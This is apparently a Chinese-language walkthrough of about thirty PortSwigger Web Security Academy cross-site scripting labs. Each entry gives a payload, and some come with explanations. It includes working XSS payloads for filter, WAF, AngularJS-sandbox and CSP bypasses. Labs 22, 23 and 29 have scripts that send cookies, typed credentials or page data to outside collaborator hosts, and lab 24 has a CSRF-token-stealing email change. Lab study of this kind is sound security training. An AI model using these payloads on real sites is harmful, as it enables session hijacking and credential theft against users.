lab1
<script>alert(1)</script>
lab2
lab3
搜索框中输入11后,f12查看位置,闭合img标签,插入script代码
1"><script>alert(1)</script><"
lab4
这里用searchMessage传参,innerHTML的使用导致不能使用script标签,以及svg标签
但是可以使用img标签或iframe
<img src=# onerror=alert(1)>
lab5
可以看出,returnPath传参,进入到a标签的href里面
在returnPath就后面输入javascript:alert(document.cookie)
点击back弹窗
lab6
查看源代码
<script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>
这段代码使用了 jQuery 库的 `$(window).on('hashchange'` 代码片段来监听浏览器 URL 中哈希标记的变化事件。
在哈希变化时,代码获取 URL 中哈希的值,并使用 `decodeURIComponent(window.location.hash.slice(1))` 将其解码。
然后,使用选择器 `$('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')')` 来查找具有相应文本内容的博客文章标题。
接下来,代码检查条件 `if (post)` 确保找到了匹配的博客文章标题。
最后,如果条件为真,则使用 `post.get(0).scrollIntoView()` 将浏览器滚动到找到的博客文章的位置。
本题需要我们用到print(),利用iframe自动加载xss
#<img src=# onerror=print()>
进入exploit server,post传入payload
<iframe src="https://0a9300d10400c5d083e44b4a00ba0063.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
lab7
输入的标签被html实体编码了
这里可以用" onmouseover="alert(1)
完成闭合
lab8
进入后留言
发现留言板的website处会显示在a标签内
插入javascript:alert(1)
lab9
输入payload ‘-alert(1)-’, -可以替换为+,/,%,*,;
lab10
这里存在一个storeId,但是url中没有,我们添加参数storeId=test
写入test</option><script>alert(1)</script>
lab11
{{$on.constructor('alert(1)')()}}
,双层花括号在应对尖括号编码时非常有用
lab12
抓包添加引号测试
出现转义符,我们添加转义符把它的转义符转义
\"-alert(1)}//
lab13
源码中没发现利用点,在js文件中发现replace替换<>
<><img src=1 onerror=alert(1)>
lab14
此关有waf,需要测试那些标签可以用
将备忘录中的标签复制https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
用body标签继续测试
可以使用<body onresize="print()">
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
lab15
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=<xss+id=x+οnfοcus=alert(document.cookie) tabindex=1>#x';
</script>
URL 中的查询参数 `search` 包含了一个 `<xss>` 元素,以及 `onfocus` 和 `tabindex` 属性。`onfocus` 属性是一个事件处理函数,当元素获得焦点时触发。在这个示例中,事件处理函数的代码是 `alert(document.cookie)`,它会在弹窗中显示当前页面的 cookie 值。同时,`tabindex` 属性用于设置该元素的键盘导航顺序。
#x 是一个哈希标记(hash),用于指定 URL 中的锚点(anchor)。在这个示例中, #x 的作用是在跳转到指定的页面时将页面滚动到具有 id="x" 的元素处。
将payload放到exploit server 中发送到目标即可
lab16
还是用burp去测试备忘录中的事件和标签哪些可以用
"><svg><animatetransform onbegin=alert(1)>
lab18
直接闭合'</script>;<script>alert(1)</script>;'
lab19
\'-alert(1)//
lab20
留言板提交网址,http://'-alert(1)-',单引号需要html实体编码'
http://'-alert(1)-'
lab21
${alert(1)}
lab22
<script>
fetch('https://3sw6aib65ekzwuv7r7s65masbjha59ty.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
拿到登录凭证,登录包填入
lab23
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://zhk2ze02ua9vlqk3g3h2uizo0f66u7iw.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
lab24
使用wiener:peter登录账户
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
这部分代码首先创建了一个 XMLHttpRequest 对象 req,用于向服务器发送异步请求。然后设置了一个回调函数 handleResponse,以处理响应。
接下来,通过 open 方法设置了 GET 请求,目标 URL 是 /my-account。最后使用 send 方法发送请求。
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
这是 handleResponse 函数,定义了对服务器响应的处理。首先,从响应文本(responseText)中通过正则表达式匹配找到了一个名为 "csrf" 的隐藏字段的值,并将其赋给变量 token。然后,创建了一个新的 XMLHttpRequest 对象 changeReq,并使用 open 方法设置了 POST 请求,目标 URL 是 /my-account/change-email。最后,利用 send 方法发送 POST 请求的内容,包括 csrf 令牌和新的电子邮件地址。通过在恶意网站中注入这段代码,当用户在该网站中被诱导访问目标网站 /my-account 时,会通过 JavaScript 代码获取到目标网站的 CSRF 令牌,并模拟用户的请求来更改邮箱地址。
lab25
https://0a7a00c1041437b4800ddfaf00cf0078.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
?search=1&toString().constructor.prototype.charAt%3d[].join;:这部分是 URL 查询参数,其中包含了恶意代码的注入。
search=1:这是常规的搜索参数,指示网站执行搜索操作。
toString().constructor.prototype.charAt%3d[].join;:这是恶意注入的 JavaScript 代码。这段代码的目的是修改 JavaScript 的原生函数 charAt 的实现,使其等于 join 函数,并将该函数作为排序操作(orderBy)的标志。
[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1:这是排序操作的一部分,用于刷新页面。在渗透测试中,这可以用于探测可能存在的注入漏洞或其他安全问题。
lab26
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
这段代码的目的是将浏览器重定向到指定的 URL。在这个 URL 中,使用了查询参数 search 来包含恶意的输入。
具体而言,URL 中的查询参数search包含了一个 <input> 元素标签,以及 ng-focus属性。ng-focus 属性是 AngularJS 框架的一部分,用于在元素获得焦点时触发特定的事件。
在这个示例中,ng-focus 属性值是一个 JavaScript 表达式:$event.composedPath()|orderBy:'(z=alert)(document.cookie)'。该表达式利用了 AngularJS 的 orderBy 过滤器,并利用了其中的不安全的参数注入,导致潜在的 XSS 漏洞。
在演示中,这段代码尝试通过触发 <input> 元素的焦点事件来执行一个 JavaScript 弹窗,其中包含了当前页面的 cookie 值。
lab27
https://0afe001204b164aa8070125e00fd00a7.web-security-academy.net/?search=<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
lab28
https://0ac100be03a7a7a981ecd029005300fc.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/οnerrοr=alert,1337},toString=x,window+'',{x:'
这个 URL 由两部分组成,以 post?postId=5&'} 开头。在这个示例中,postId 参数被设置为 5。
然后,在 URL 的另一部分中,有一段 JavaScript 代码:
'},x=x=>{throw/**/οnerrοr=alert,1337},toString=x,window+'',{x:'
这段代码定义了一个匿名函数 x,使用了箭头函数的语法。函数体里抛出了一个错误,并且设置了 onerror 事件处理函数为 alert方法。同时,使用了两个注释 /**/ 和 ,1337 来绕过可能的注入检测。
接着是 toString=x,将函数 x赋值给 toString方法。然后使用 window+'' 的方式来将 window 对象转换成字符串
lab29
<script>
if(window.name) {
new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?' encodeURIComponent(window.name);
} else {
location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email="><a href="https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit">Click me</a><base target='';
}
</script>
lab30
https://YOUR-LAB-ID.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
在这个示例中,URL 包含了两个参数:`search` 和 `token`。
- `search` 参数被设置为 `<script>alert(1)</script>`,它是一个恶意的脚本代码片段。这段代码在页面加载时将弹出一个包含数字 1 的警告框(alert)。
- `token` 参数被设置为 `;script-src-elem 'unsafe-inline'`,这是一个看起来像是更改浏览器的 CSP(内容安全策略)的设置。`script-src-elem` 是 CSP 中的一个指令,用于控制是否允许在 HTML 元素中内联执行脚本代码。`'unsafe-inline'` 的设置表示允许在 HTML 元素中使用内联脚本(包括 `<script>` 标签中的代码)。